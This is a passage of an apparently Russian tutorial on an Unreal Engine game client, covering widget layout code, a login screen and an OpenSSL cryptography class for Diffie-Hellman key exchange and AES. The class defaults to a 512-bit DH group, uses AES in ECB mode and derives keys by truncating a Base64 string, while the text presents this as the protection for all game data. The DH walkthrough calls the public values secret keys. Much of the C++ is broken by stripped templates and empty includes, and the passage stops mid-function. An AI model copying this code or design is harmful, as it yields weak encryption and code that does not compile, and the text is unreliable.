USetServerWidgets::NativeConstruct()
     wAddressBox = Cast(GetWidgetFromName(TEXT("AddressBox")));
     wPortBox = Cast(GetWidgetFromName(TEXT("PortBox")));

В виджете SetServerWidgets мы получаем статический адрес, возвращаем ему нормальный вид. И заполняем им поля wAddressBox и wPortBox:

USetServerWidgets::SetAddress()
     вызывается после нажатия на кнопку скрыть виджет, задача функции
     забрать данные при закрытии
     если новый ввод отличается от старого 
     установить новые значения статическим полям адреса и порта
     вызвать USocketObject::Reconnect()

Виджет SSButtonWidgets – единственная функция показывать и скрывать SetServerWidgets всегда находясь поверх всего остального.

Для размещения виджетов слоями нам нужно создать WidgetsContainer с единственным элементом UCanvasPanel:

WidgetsContainer
// Copyright (c) 2017, Vadim Petrov - MIT License

#pragma once

#include "Runtime/UMG/Public/Blueprint/UserWidget.h"
#include "WidgetsContainer.generated.h"

class UCanvasPanel;

UCLASS()
class SPIKY_CLIENT_API UWidgetsContainer : public UUserWidget
{
	GENERATED_BODY()
	
	virtual void NativeConstruct() override;

public:

	UCanvasPanel * wCanvas = nullptr;
};

// Copyright (c) 2017, Vadim Petrov - MIT License

#include "Spiky_Client.h"
#include "WidgetsContainer.h"
#include "Runtime/UMG/Public/Components/CanvasPanel.h"
#include "CanvasPanelSlot.h"

void UWidgetsContainer::NativeConstruct()
{
	Super::NativeConstruct();

	wCanvas = Cast(GetWidgetFromName(TEXT("Canvas")));
}


Сейчас откроем Unreal Editor, откроем виджет WidgetContainer, в котором есть дефолтный кенвас, присвоим ему имя Canvas, чтобы мы могли найти его в коде (если уже не присвоено), присвоим созданным виджетам новых родителей, переходим из Designer в Graph, выбираем Edit Class Settings и меняем Parent Class на соответствующие имя C++ класса.

Начнем размещать виджеты, для этого воспользуемся созданным ранее DifferentMix. Добавим опережающие объявления, конструктор, набор временных ссылок на полученные экземпляры, функцию GetWorld(), через экземпляр DifferentMix так же сможем получить ссылку на текущий мир, меняющией от GameMode к GameMode, сами виджеты которые создаются на основе ссылок, и их слоты на Canvas:

DifferentMix
// Copyright (c) 2017, Vadim Petrov - MIT License

#pragma once

#include "CoreMinimal.h"
#include "UObject/NoExportTypes.h"
#include "DifferentMix.generated.h"

class UWidgetsContainer;
class UCanvasPanelSlot;
class URegWidgets;
class ULoginWidgets;
class USSButtonWidgets;
class USetServerWidgets;
class UUserWidget;
class UWSWidgets;

/**
 * World singleton, stores references to widgets and rare functions
 */
UCLASS()
class SPIKY_CLIENT_API UDifferentMix : public UObject
{
	GENERATED_BODY()
	
	UDifferentMix(const FObjectInitializer& ObjectInitializer);

	UWidgetsContainer* tmpWidgetContainerRef;

	URegWidgets* tmpRegistrationRef;
	ULoginWidgets* tmpLoginScreenRef;
	USSButtonWidgets* tmpServerSettingsButtonRef;
	USetServerWidgets* tmpServerSettingsRef;
	UUserWidget* tmpTermsPrivacyRef;
	UWSWidgets*  tmpWaitingScreenRef;
	
public:

	virtual class UWorld* GetWorld() const override;

	void Init();

	UWidgetsContainer* wWidgetContainer;

	URegWidgets* wRegistration;
	ULoginWidgets* wLoginScreen;
	USSButtonWidgets* wServerSettingsButton;
	USetServerWidgets* wServerSettings;
	UUserWidget* wTermsPrivacy;
	UWSWidgets*  wWaitingScreen;

	UCanvasPanelSlot* registrationSlot;
	UCanvasPanelSlot* loginScreenSlot;
	UCanvasPanelSlot* serverSettingsButtonsSlot;
	UCanvasPanelSlot* serverSettingsSlot;
	UCanvasPanelSlot* TermsPrivacySlot;
	UCanvasPanelSlot* waitingScreenSlot;
};


Для создания каждого виджета нам нужен доступ к текущему игровому миру, мы будем инициализировать DifferentMix в GameMode и сохранять ссылку на мир в GameInstance. Добавим в SpikyGameInstance:

// .h
static UWorld* world;
void DifferentMixInit(UWorld* the_world);
static UDifferentMix * DifferentMix;

Создадим объект DifferentMix и добавим в root, это предотвратит его уничтожение сборщиком мусора, вызовем Init это создаст нам набор виджетов:

// .cpp
UWorld* UClientGameInstance::world = nullptr;
UDifferentMix * UClientGameInstance::DifferentMix = nullptr;

void USpikyGameInstance::DifferentMixInit(UWorld* the_world)
{
	GLog->Log("DifferentMixInit");

	world = the_world;

	DifferentMix = NewObject(UDifferentMix::StaticClass());
	DifferentMix->AddToRoot();
	DifferentMix->Init();
}

Теперь нам нужна верная ссылка на мир, в SpikyGameInstance мы не можем её получить так как это независимый от текущего мира объект, но GameMode подойдёт идеально, добавим в ASpikyGameMode::BeginPlay() инициализацию DifferentMix:

USpikyGameInstance* gameInstance = Cast(GetWorld()->GetGameInstance());
gameInstance->DifferentMixInit(GetWorld());

Создаём в UDifferentMix::Init() виджеты и размещаем их слотом на canvas:

wWidgetContainer = CreateWidget(GetWorld(), tmpWidgetContainerRef->GetClass());
wWidgetContainer->AddToViewport();

wRegistration = CreateWidget(GetWorld(), tmpRegistrationRef->GetClass());
registrationSlot = CastwCanvas->AddChild(wRegistration));
registrationSlot->SetZOrder(0);
registrationSlot->SetAnchors(FAnchors(0.f, 0.f, 1.f, 1.f));
registrationSlot->SetOffsets(FMargin(0, 0, 0, 0));
wRegistration->SetVisibility(ESlateVisibility::Hidden);

Создаём из ссылок виджеты, добавляем на canvas, растягиваем по нему, задаём глубину SetZOrder, поверх чего он должен быть и устанавливаем начальную видимость.

Любой новый виджет в проекте добавляется так:

  1. Создаётся UMG интерфейс и CPP родитель;
  2. В DifferentMix объявляется предварительное объявление: class URegWidgets;
  3. Ссылка на виджет URegWidgets* tmpRegistrationRef;
  4. Сам виджет URegWidgets* wRegistration;
  5. И слот Canvas: UCanvasPanelSlot* registrationSlot;
  6. После в конструкторе инициализируем ссылку:
    static ConstructorHelpers::FClassFinder RegistrationWidgets(TEXT("WidgetBlueprint'/Game/Blueprints/Widgets/Reg_W.Reg_W_C'"));
    
    if (RegistrationWidgets.Class != NULL)
    {
    	tmpRegistrationRef = RegistrationWidgets.Class->GetDefaultObject();
    }
    

  7. Затем в UDifferentMix::Init() создаём виджет и размещаем его в слоте:
    wRegistration = CreateWidget(GetWorld(), tmpRegistrationRef->GetClass());
    registrationSlot = CastwCanvas->AddChild(wRegistration));
    registrationSlot->SetZOrder(0);
    registrationSlot->SetAnchors(FAnchors(0.f, 0.f, 1.f, 1.f));
    registrationSlot->SetOffsets(FMargin(0, 0, 0, 0));
    wRegistration->SetVisibility(ESlateVisibility::Hidden);
    

При запуске игры, нам нужно показать LoginScreen, для этого добавим две новые функции вызова в DifferentMix:

void HideAllWidgets();
void ShowLoginScreen();
void ShowMouse();

Текущее состояние DifferentMix
// Copyright (c) 2017, Vadim Petrov - MIT License

#pragma once

#include "CoreMinimal.h"
#include "UObject/NoExportTypes.h"
#include "DifferentMix.generated.h"

class UWidgetsContainer;
class UCanvasPanelSlot;
class URegWidgets;
class ULoginWidgets;
class USSButtonWidgets;
class USetServerWidgets;
class UUserWidget;
class UWSWidgets;

/**
 * World singleton, stores references to widgets and rare functions
 */
UCLASS()
class SPIKY_CLIENT_API UDifferentMix : public UObject
{
	GENERATED_BODY()
	
	UDifferentMix(const FObjectInitializer& ObjectInitializer);

	UWidgetsContainer* tmpWidgetContainerRef;

	URegWidgets* tmpRegistrationRef;
	ULoginWidgets* tmpLoginScreenRef;
	USSButtonWidgets* tmpServerSettingsButtonRef;
	USetServerWidgets* tmpServerSettingsRef;
	UUserWidget* tmpTermsPrivacyRef;
	UWSWidgets*  tmpWaitingScreenRef;
	
public:

	virtual class UWorld* GetWorld() const override;

	void Init();

	UWidgetsContainer* wWidgetContainer;

	URegWidgets* wRegistration;
	ULoginWidgets* wLoginScreen;
	USSButtonWidgets* wServerSettingsButton;
	USetServerWidgets* wServerSettings;
	UUserWidget* wTermsPrivacy;
	UWSWidgets*  wWaitingScreen;

	UCanvasPanelSlot* registrationSlot;
	UCanvasPanelSlot* loginScreenSlot;
	UCanvasPanelSlot* serverSettingsButtonsSlot;
	UCanvasPanelSlot* serverSettingsSlot;
	UCanvasPanelSlot* TermsPrivacySlot;
	UCanvasPanelSlot* waitingScreenSlot;

	void HideAllWidgets();
	void ShowLoginScreen();
	void ShowMouse();
};

// Copyright (c) 2017, Vadim Petrov - MIT License

#include "Spiky_Client.h"
#include "DifferentMix.h"
#include "SpikyGameInstance.h"
#include "WidgetsContainer.h"
#include "RegWidgets.h"
#include "LoginWidgets.h"
#include "SSButtonWidgets.h"
#include "SetServerWidgets.h"
#include "WSWidgets.h"
#include "Runtime/UMG/Public/Components/CanvasPanel.h"
#include "CanvasPanelSlot.h"
#include "Runtime/CoreUObject/Public/UObject/ConstructorHelpers.h"

UDifferentMix::UDifferentMix(const FObjectInitializer& ObjectInitializer)
	: Super(ObjectInitializer)
{
	static ConstructorHelpers::FClassFinder WidgetContainer(TEXT("WidgetBlueprint'/Game/Blueprints/Widgets/WidgetContainer.WidgetContainer_C'"));

	if (WidgetContainer.Class != NULL)
	{
		tmpWidgetContainerRef = WidgetContainer.Class->GetDefaultObject();
	}

	static ConstructorHelpers::FClassFinder RegistrationWidgets(TEXT("WidgetBlueprint'/Game/Blueprints/Widgets/Reg_W.Reg_W_C'"));

	if (RegistrationWidgets.Class != NULL)
	{
		tmpRegistrationRef = RegistrationWidgets.Class->GetDefaultObject();
	}

	static ConstructorHelpers::FClassFinder LoginWidgets(TEXT("WidgetBlueprint'/Game/Blueprints/Widgets/Login_W.Login_W_C'"));

	if (LoginWidgets.Class != NULL)
	{
		tmpLoginScreenRef = LoginWidgets.Class->GetDefaultObject();
	}

	static ConstructorHelpers::FClassFinder SetServerButtonWidgets(TEXT("WidgetBlueprint'/Game/Blueprints/Widgets/SSButton_W.SSButton_W_C'"));

	if (SetServerButtonWidgets.Class != NULL)
	{
		tmpServerSettingsButtonRef = SetServerButtonWidgets.Class->GetDefaultObject();
	}

	static ConstructorHelpers::FClassFinder ServerSettingsWidgets(TEXT("WidgetBlueprint'/Game/Blueprints/Widgets/SetServer_W.SetServer_W_C'"));

	if (ServerSettingsWidgets.Class != NULL)
	{
		tmpServerSettingsRef = ServerSettingsWidgets.Class->GetDefaultObject();
	}

	static ConstructorHelpers::FClassFinder TermsPrivacyWidgets(TEXT("WidgetBlueprint'/Game/Blueprints/Widgets/Terms_Privacy_W.Terms_Privacy_W_C'"));

	if (TermsPrivacyWidgets.Class != NULL)
	{
		tmpTermsPrivacyRef = TermsPrivacyWidgets.Class->GetDefaultObject();
	}

	static ConstructorHelpers::FClassFinder WaitingScreenWidgets(TEXT("WidgetBlueprint'/Game/Blueprints/Widgets/WS_W.WS_W_C'"));

	if (WaitingScreenWidgets.Class != NULL)
	{
		tmpWaitingScreenRef = WaitingScreenWidgets.Class->GetDefaultObject();
	}
}

class UWorld* UDifferentMix::GetWorld() const
{
	return USpikyGameInstance::world;
}

void UDifferentMix::Init()
{
	wWidgetContainer = CreateWidget(GetWorld(), tmpWidgetContainerRef->GetClass());
	wWidgetContainer->AddToViewport();

	wRegistration = CreateWidget(GetWorld(), tmpRegistrationRef->GetClass());
	registrationSlot = Cast(wWidgetContainer->wCanvas->AddChild(wRegistration));
	registrationSlot->SetZOrder(0);
	registrationSlot->SetAnchors(FAnchors(0.f, 0.f, 1.f, 1.f));
	registrationSlot->SetOffsets(FMargin(0, 0, 0, 0));
	wRegistration->SetVisibility(ESlateVisibility::Hidden);

	wLoginScreen = CreateWidget(GetWorld(), tmpLoginScreenRef->GetClass());
	loginScreenSlot = Cast(wWidgetContainer->wCanvas->AddChild(wLoginScreen));
	loginScreenSlot->SetZOrder(0);
	loginScreenSlot->SetAnchors(FAnchors(0.f, 0.f, 1.f, 1.f));
	loginScreenSlot->SetOffsets(FMargin(0, 0, 0, 0));
	wLoginScreen->SetVisibility(ESlateVisibility::Hidden);

	wServerSettingsButton = CreateWidget(GetWorld(), tmpServerSettingsButtonRef->GetClass());
	serverSettingsButtonsSlot = Cast(wWidgetContainer->wCanvas->AddChild(wServerSettingsButton));
	serverSettingsButtonsSlot->SetZOrder(3);
	serverSettingsButtonsSlot->SetAnchors(FAnchors(0.f, 0.f, 1.f, 1.f));
	serverSettingsButtonsSlot->SetOffsets(FMargin(0, 0, 0, 0));
	wServerSettingsButton->SetVisibility(ESlateVisibility::Hidden);

	wServerSettings = CreateWidget(GetWorld(), tmpServerSettingsRef->GetClass());
	serverSettingsSlot = Cast(wWidgetContainer->wCanvas->AddChild(wServerSettings));
	serverSettingsSlot->SetZOrder(1);
	serverSettingsSlot->SetAnchors(FAnchors(0.f, 0.f, 1.f, 1.f));
	serverSettingsSlot->SetOffsets(FMargin(0, 0, 0, 0));
	wServerSettings->SetVisibility(ESlateVisibility::Hidden);

	wTermsPrivacy = CreateWidget(GetWorld(), tmpTermsPrivacyRef->GetClass());
	TermsPrivacySlot = Cast(wWidgetContainer->wCanvas->AddChild(wTermsPrivacy));
	TermsPrivacySlot->SetZOrder(1);
	TermsPrivacySlot->SetAnchors(FAnchors(0.f, 0.f, 1.f, 1.f));
	TermsPrivacySlot->SetOffsets(FMargin(0, 0, 0, 0));
	wTermsPrivacy->SetVisibility(ESlateVisibility::Hidden);

	wWaitingScreen = CreateWidget(GetWorld(), tmpWaitingScreenRef->GetClass());
	waitingScreenSlot = Cast(wWidgetContainer->wCanvas->AddChild(wWaitingScreen));
	waitingScreenSlot->SetZOrder(1000); // max
	waitingScreenSlot->SetAnchors(FAnchors(0.f, 0.f, 1.f, 1.f));
	waitingScreenSlot->SetOffsets(FMargin(0, 0, 0, 0));
	wWaitingScreen->SetVisibility(ESlateVisibility::Hidden);
}

void UDifferentMix::HideAllWidgets()
{
	for (size_t i = 0; i < wWidgetContainer->wCanvas->GetChildrenCount(); i++)
	{
		wWidgetContainer->wCanvas->GetChildAt(i)->SetVisibility(ESlateVisibility::Hidden);
	}
}

void UDifferentMix::ShowLoginScreen()
{
	HideAllWidgets();
	wLoginScreen->SetVisibility(ESlateVisibility::Visible);
	wServerSettingsButton->SetVisibility(ESlateVisibility::SelfHitTestInvisible);
}

void UDifferentMix::ShowMouse()
{
	// show mouse
	APlayerController* MyController = GetWorld()->GetFirstPlayerController();
	MyController->bShowMouseCursor = true;
	MyController->bEnableClickEvents = true;
	MyController->bEnableMouseOverEvents = true;
}


Добавим их вызов в SpikyGameMode:

USpikyGameInstance::DifferentMix->ShowLoginScreen();
USpikyGameInstance::DifferentMix->ShowMouse();

Текущее состояние SpikyGameMode
// Copyright (c) 2017, Vadim Petrov - MIT License

#include "Spiky_Client.h"
#include "SpikyGameMode.h"
#include "SocketObject.h"
#include "Runtime/Engine/Classes/Engine/World.h"
#include "Protobufs/UtilityModels.pb.h"
#include "SpikyGameInstance.h"
#include "DifferentMix.h"

void ASpikyGameMode::BeginPlay()
{
	Super::BeginPlay();

	GLog->Log("AClientGameMode::BeginPlay()");

	USpikyGameInstance* gameInstance = Cast(GetWorld()->GetGameInstance());
	gameInstance->DifferentMixInit(GetWorld());

	EnableInput(GetWorld()->GetFirstPlayerController());
	//InputComponent->BindAction("Q", IE_Pressed, this, &ASpikyGameMode::TestSendUPDMessage);

	USpikyGameInstance::DifferentMix->ShowLoginScreen();
	USpikyGameInstance::DifferentMix->ShowMouse();
}

void ASpikyGameMode::EndPlay(const EEndPlayReason::Type EndPlayReason)
{
	Super::EndPlay(EndPlayReason);

	GLog->Log("AClientGameMode::EndPlay()");
}

void ASpikyGameMode::TestSendUPDMessage()
{
	GLog->Log("send ->>>");

	std::shared_ptr utility(new Utility);
	utility->set_alive(true);

	USocketObject::SendByUDP(utility.get());
}


Скомпилируем и проверим что вышло. При запуске игры должен появляться экран входа.

Экраны регистрации и входа




Добавим реакцию на нажатие кнопки настройки адреса сервера:

SSButtonWidgets
// Copyright (c) 2017, Vadim Petrov - MIT License

#include "Spiky_Client.h"
#include "SSButtonWidgets.h"
#include "Runtime/UMG/Public/Components/Button.h"
#include "SpikyGameInstance.h"
#include "DifferentMix.h"
#include "SetServerWidgets.h"

void USSButtonWidgets::NativeConstruct()
{
	Super::NativeConstruct();

	wSettingsButton = Cast(GetWidgetFromName(TEXT("SettingsButton")));
	wSettingsButton->OnClicked.AddDynamic(this, &USSButtonWidgets::SettingsButtonClicked);
}

void USSButtonWidgets::SettingsButtonClicked()
{
	if (USpikyGameInstance::DifferentMix->wServerSettings->GetVisibility() == ESlateVisibility::Hidden)
	{
		USpikyGameInstance::DifferentMix->wServerSettings->SetVisibility(ESlateVisibility::Visible);
	}
	else
	{
		USpikyGameInstance::DifferentMix->wServerSettings->SetAddress();
		USpikyGameInstance::DifferentMix->wServerSettings->SetVisibility(ESlateVisibility::Hidden);
	}
}


Начнем реализовывать регистрацию, для этого нам понадобится возможности OpenSSL. Эта часть очень важна, так как все данные в игре мы будем шифровать аналогичным образом. На этапе входа, регистрации мы получаем ключи шифрования. Это работает следующим образом: мы начинаем ввод, данные формы проверяются на допустимость символов и затем сразу отправляются на сервер для проверки доступности, сервер ищет в базе данных такой логин, и возвращает код допустимости или ошибки. При открытии формы, сервер присылает капчу, а сам сохраняет её значение в карте <время, значение> все капчи старше 60 секунд удаляются. Ввод капчи проверяется с набором текста. Проверки осуществляются специальным обработчиком InputChecking. Если все поля заполнены правильно, то мы отправляем логин, меил, капчу на сервер в незашифрованном виде. На сервере мы проверяем наличие обязательных полей, затем все данные еще раз, только после этого генерируем публичный ключ и отправляем его клиенту. В нашем проекте я использую алгоритм Диффи-Хеллмана для обмена ключами. Шифрование происходит с помощью алгоритма AES-128. Алгоритм Диффи-Хеллмана позволяет двум сторонам получить общий секретный ключ, используя незащищенный от прослушивания канал связи. Принцип работы можно посмотреть здесь:

Алгоритм Диффи — Хеллмана

Но если в двух словах:

Боб выбирает два публичных числа(p, g) – например 75, 2
Алиса и Боб выбирают два секретных числа(a, b) – например 3, 15

Alice — g^a mod p -> 2^3 mod 75 = 8 (A)
Bob — g^b mod p -> 2^15 mod 75 = 68 (B)

A и B являются локальными секретными ключами

Вычисляется общий секреный ключ:

Alice — B^a mod p, 68^3 mod 75 = 32 pk
Bob — A^b mod p, 8^15 mod 75 = 32 pk

AES я выбрал из-за его скорости, компактности и поддержкой на уровне процессора.

Теперь нам нужно добавить алгоритм Диффи-Хеллмана и шифровнание AES в проекты. Здесь не будет много подробностей, хотя код я снабдил комментариями, эта тема отдельных статей и весьма непростая. Стоит почитать официальную документацию:

wiki.openssl.org/index.php/Diffie_Hellman
wiki.openssl.org/index.php/EVP_Symmetric_Encryption_and_Decryption

Добавьте новый класс Crypto в Utils. С его помощью мы сможем вычислять ключи Diffie-Hellman, шифровать AES, получать хэш SHA256 и кодировать/декодировать в Base64:

Cryptography
Crypto.h
// Copyright (c) 2017, Vadim Petrov - MIT License

#pragma once

#pragma warning(disable:4996)

#include "Runtime/CoreUObject/Public/UObject/Object.h"
#include bn.h>
#include 
#include protobuf/message.h>
#include "Crypto.generated.h"

struct keys
{
	char * p;
	char * g;
	char * pubKey;
	char * privKey;
};

UCLASS()
class SPIKY_CLIENT_API UCrypto : public UObject
{
	GENERATED_BODY()

public:
	// DiffieHellman
	static DH *get_dh(int size); // 512 or 1024

	static keys Generate_KeysSet_DH();
	static DH * client;
	static std::string Generate_SecretKey_DH(std::string str);

	// Base64
	static size_t CalcDecodeLength(const char* b64input);
	static size_t Base64Decode(char* b64message, unsigned char** buffer, size_t* length);
	static std::string Base64Encode(char *decoded_bytes, size_t decoded_length);

	// Sha256
	static std::string SHA256(const void *data, size_t data_len);

	// AES_ecb_128
	static int AES_ECB_Encrypt(unsigned char *source, int source_len, unsigned char *key, unsigned char *cipher);
	static int AES_ECB_Decrypt(unsigned char *ciphertext, int ciphertext_len, unsigned char *key, unsigned char *plaintext);
	static std::string Encrypt(std::string source, std::string key);
	static std::string Decrypt(std::string cipher, std::string key);
	static std::string EncryptProto(google::protobuf::Message * message, std::string key);

private:

	static void handleErrors(void);
};


Crypto.cpp
// Copyright (c) 2017, Vadim Petrov - MIT License

#include "Spiky_Client.h"
#include "Crypto.h"

#define _CRT_SECURE_NO_WARNINGS
#pragma warning(disable:4267)

// Base64, AES
#include 
#include 
#include bio.h>
#include evp.h>
#include buffer.h>
#include err.h>
// Sha256
#include 
#include 
// DH
#include crypto.h>
#include dh.h>

#include 
#include "Config.h"

using namespace std;

DH * UCrypto::get_dh(int size)
{
	static unsigned char dh512_p[] = {
		0xDA, 0x58, 0x3C, 0x16, 0xD9, 0x85, 0x22, 0x89, 
		0xD0, 0xE4, 0xAF, 0x75, 0x6F, 0x4C, 0xCA, 0x92, 
		0xDD, 0x4B, 0xE5, 0x33, 0xB8, 0x04, 0xFB, 0x0F,
		0xED, 0x94, 0xEF, 0x9C, 0x8A, 0x44, 0x03, 0xED, 
		0x57, 0x46, 0x50, 0xD3, 0x69, 0x99, 0xDB, 0x29, 
		0xD7, 0x76, 0x27, 0x6B, 0xA2, 0xD3, 0xD4, 0x12,
		0xE2, 0x18, 0xF4, 0xDD, 0x1E, 0x08, 0x4C, 0xF6, 
		0xD8, 0x00, 0x3E, 0x7C, 0x47, 0x74, 0xE8, 0x33
	};

	static unsigned char dh1024_p[] = {
		0xF4, 0x88, 0xFD, 0x58, 0x4E, 0x49, 0xDB, 0xCD, 
		0x20, 0xB4, 0x9D, 0xE4, 0x91, 0x07, 0x36, 0x6B, 
		0x33, 0x6C, 0x38, 0x0D, 0x45, 0x1D, 0x0F, 0x7C,
		0x88, 0xB3, 0x1C, 0x7C, 0x5B, 0x2D, 0x8E, 0xF6, 
		0xF3, 0xC9, 0x23, 0xC0, 0x43, 0xF0, 0xA5, 0x5B, 
		0x18, 0x8D, 0x8E, 0xBB, 0x55, 0x8C, 0xB8, 0x5D,
		0x38, 0xD3, 0x34, 0xFD, 0x7C, 0x17, 0x57, 0x43, 
		0xA3, 0x1D, 0x18, 0x6C, 0xDE, 0x33, 0x21, 0x2C, 
		0xB5, 0x2A, 0xFF, 0x3C, 0xE1, 0xB1, 0x29, 0x40,
		0x18, 0x11, 0x8D, 0x7C, 0x84, 0xA7, 0x0A, 0x72, 
		0xD6, 0x86, 0xC4, 0x03, 0x19, 0xC8, 0x07, 0x29, 
		0x7A, 0xCA, 0x95, 0x0C, 0xD9, 0x96, 0x9F, 0xAB,
		0xD0, 0x0A, 0x50, 0x9B,	0x02, 0x46, 0xD3, 0x08, 
		0x3D, 0x66, 0xA4, 0x5D, 0x41, 0x9F, 0x9C, 0x7C, 
		0xBD, 0x89, 0x4B, 0x22, 0x19, 0x26, 0xBA, 0xAB,
		0xA2, 0x5E, 0xC3, 0x55, 0xE9, 0x2F, 0x78, 0xC7
	};

	static unsigned char dh_g[] = {
		0x02,
	};

	DH *dh;

	if (size == 512)
	{
		if ((dh = DH_new()) == NULL) return(NULL);
		dh->p = BN_bin2bn(dh512_p, sizeof(dh512_p), NULL);
		dh->g = BN_bin2bn(dh_g, sizeof(dh_g), NULL);
	}
	else
	{
		if ((dh = DH_new()) == NULL) return(NULL);
		dh->p = BN_bin2bn(dh1024_p, sizeof(dh1024_p), NULL);
		dh->g = BN_bin2bn(dh_g, sizeof(dh_g), NULL);
	}

	if ((dh->p == NULL) || (dh->g == NULL))
	{
		DH_free(dh); return(NULL);
	}
	return(dh);
}

//char * UOpenSSLCrypto::private_key_dh = "";
DH * UCrypto::client = get_dh(512); // DH_new(); // <- use pregenegate P/G or generate manualy (cpu heavy task)

keys UCrypto::Generate_KeysSet_DH()
{
	//DH_generate_parameters_ex(client, 512, DH_GENERATOR_2, NULL); //  generate P/G manualy
	// if you generate P/G manualy you also must send P/G to server
	DH_generate_key(client);

	keys keys_set;

	keys_set.p = BN_bn2dec(client->p);
	keys_set.g = BN_bn2dec(client->g);
	keys_set.pubKey = BN_bn2dec(client->pub_key);
	keys_set.privKey = BN_bn2dec(client->priv_key);

	return keys_set;
}

string UCrypto::Generate_SecretKey_DH(string str)
{
	BIGNUM *pub_bob_key = BN_new();
	BN_dec2bn(&pub_bob_key, str.c_str());

	unsigned char * dh_secret = (unsigned char*)OPENSSL_malloc(sizeof(unsigned char) * (DH_size(client)));

	DH_compute_key(dh_secret, pub_bob_key, client);

	return Base64Encode((char*)dh_secret, sizeof(unsigned char) * (DH_size(client)));
}

size_t UCrypto::CalcDecodeLength(const char* b64input) { //Calculates the length of a decoded string
	size_t len = strlen(b64input),
		padding = 0;

	if (b64input[len - 1] == '=' && b64input[len - 2] == '=') //last two chars are =
		padding = 2;
	else if (b64input[len - 1] == '=') //last char is =
		padding = 1;

	return (len * 3) / 4 - padding;
}

size_t UCrypto::Base64Decode(char* b64message, unsigned char** buffer, size_t* length) { //Decodes a base64 encoded string
	BIO *bio, *b64;

	int decodeLen = CalcDecodeLength(b64message);
	*buffer = (unsigned char*)malloc(decodeLen + 1);
	(*buffer)[decodeLen] = '\0';

	bio = BIO_new_mem_buf(b64message, -1);
	b64 = BIO_new(BIO_f_base64());
	bio = BIO_push(b64, bio);

	BIO_set_flags(bio, BIO_FLAGS_BASE64_NO_NL); //Do not use newlines to flush buffer
	*length = BIO_read(bio, *buffer, strlen(b64message));
	assert(*length == decodeLen); //length should equal decodeLen, else something went horribly wrong
	BIO_free_all(bio);

	return (0); //success
}

string UCrypto::Base64Encode(char *decoded_bytes, size_t decoded_length)
{
	int x;
	BIO *bioMem, *b64;
	BUF_MEM *bufPtr;

	b64 = BIO_new(BIO_f_base64());
	BIO_set_flags(b64, BIO_FLAGS_BASE64_NO_NL);
	bioMem = BIO_new(BIO_s_mem());
	b64 = BIO_push(b64, bioMem);

	BIO_write(b64, decoded_bytes, decoded_length);
	x = BIO_flush(b64);
	if (x < 1) {
		BIO_free_all(b64);
		return NULL;
	}

	BIO_get_mem_ptr(b64, &bufPtr);

	string buff(bufPtr->data, bufPtr->length);

	BIO_free_all(b64);

	return buff;
}

/*
// USAGE EXAMPLE
//Encode To Base64
char* base64EncodeOutput, *text = "Hello World";

char* inbase = OpenSSL_Base64::Base64Encode(text, strlen((char*)text));

cout << inbase << endl;

//Decode From Base64
unsigned char* base64DecodeOutput;
size_t test;
OpenSSL_Base64::Base64Decode(inbase, &base64DecodeOutput, &test);

cout << base64DecodeOutput << endl;
*/

string UCrypto::SHA256(const void * data, size_t data_len)
{
	EVP_MD_CTX mdctx;
	unsigned char md_value[EVP_MAX_MD_SIZE];
	unsigned int md_len;

	EVP_DigestInit(&mdctx, EVP_sha256());
	EVP_DigestUpdate(&mdctx, data, (size_t)data_len);
	EVP_DigestFinal_ex(&mdctx, md_value, &md_len);
	EVP_MD_CTX_cleanup(&mdctx);

	std::stringstream s;
	s.fill('0');

	for (size_t i = 0; i < md_len; ++i)
		s << std::setw(2) << std::hex << (unsigned short)md_value[i];

	return s.str();
}

int UCrypto::AES_ECB_Encrypt(unsigned char * plaintext, int plaintext_len, unsigned char * key, unsigned char * ciphertext)
{
	EVP_CIPHER_CTX *ctx;

	int len;

	int ciphertext_len;

	/* Create and initialise the context */
	ctx = EVP_CIPHER_CTX_new();

	if (!ctx) handleErrors();

	/* Initialise the encryption operation. IMPORTANT - ensure you use a key size appropriate for your cipher
	 * In this we are using 128 bit AES (i.e. a 128 bit key).
	 */
	if (1 != EVP_EncryptInit_ex(ctx, EVP_aes_128_ecb(), NULL, key, NULL)) handleErrors();

	/* Provide the message to be encrypted, and obtain the encrypted output.
	* EVP_EncryptUpdate can be called multiple times if necessary
	*/
	if (1 != EVP_EncryptUpdate(ctx, ciphertext, &len, plaintext, plaintext_len)) handleErrors();

	ciphertext_len = len;

	/* Finalise the encryption. Further ciphertext bytes may be written at this stage. */
	if (1 != EVP_EncryptFinal_ex(ctx, ciphertext + len, &len)) handleErrors();

	ciphertext_len += len;

	/* Clean up */
	EVP_CIPHER_CTX_free(ctx);

	return ciphertext_len;
}

int UCrypto::AES_ECB_Decrypt(unsigned char * ciphertext, int ciphertext_len, unsigned char * key, unsigned char * plaintext)
{
	EVP_CIPHER_CTX *ctx;

	int len;

	int plaintext_len;

	/* Create and initialise the context */
	ctx = EVP_CIPHER_CTX_new();

	if (!ctx) handleErrors();

	if (1 != EVP_DecryptInit_ex(ctx, EVP_aes_128_ecb(), NULL, key, NULL))
		handleErrors();

	/* Provide the message to be decrypted, and obtain the plaintext output.
	 * EVP_DecryptUpdate can be called multiple times if necessary
	 */
	if (1 != EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, ciphertext_len)) handleErrors();

	plaintext_len = len;

	/* Finalise the decryption. Further plaintext bytes may be written at this stage. */
	if (1 != EVP_DecryptFinal_ex(ctx, plaintext + len, &len)) handleErrors();

	plaintext_len += len;

	/* Clean up */
	EVP_CIPHER_CTX_free(ctx);

	return plaintext_len;
}

std::string UCrypto::Encrypt(string source, string key)
{
	if (Config::bEnableCrypt)
	{
		string tmpkey = key.substr(0, 16);
		unsigned char * key_c = (unsigned char*)strcpy((char*)malloc(tmpkey.length() + 1), tmpkey.c_str());

		auto cipher = make_unique(source.length() * 2 + 8);

		unsigned char * source_c = (unsigned char*)source.c_str();

		size_t cipherLen = AES_ECB_Encrypt(source_c, strlen((char*)source_c), key_c, cipher.get());

		string cipher_str((char*)cipher.get(), cipherLen);

		free(key_c);
		return cipher_str;
	}
	else
	{
		return source;
	}
}

std::string UCrypto::Decrypt(std::string cipher, std::string key)
{
	if (Config::bEnableCrypt)
	{
		string tmpkey = key.substr(0, 16);
		unsigned char * key_c = (unsigned char*)strcpy((char*)malloc(tmpkey.length() + 1), tmpkey.c_str());

		auto source = make_unique(cipher.length() * 2);

		unsigned char * cipher_c = (unsigned char*)cipher.c_str();

		size_t decryptLen = AES_ECB_Decrypt(cipher_c, cipher.length(), key_c, source.get());

		string decrypt_str((char*)source.get(), decryptLen);

		free(key_c);
		return decrypt_str;
	}
	else
	{
		return cipher;
	}
}

std::string UCrypto::EncryptProto(google::protobuf::Message * message, std::string key)
{
	int size = message->ByteSize();
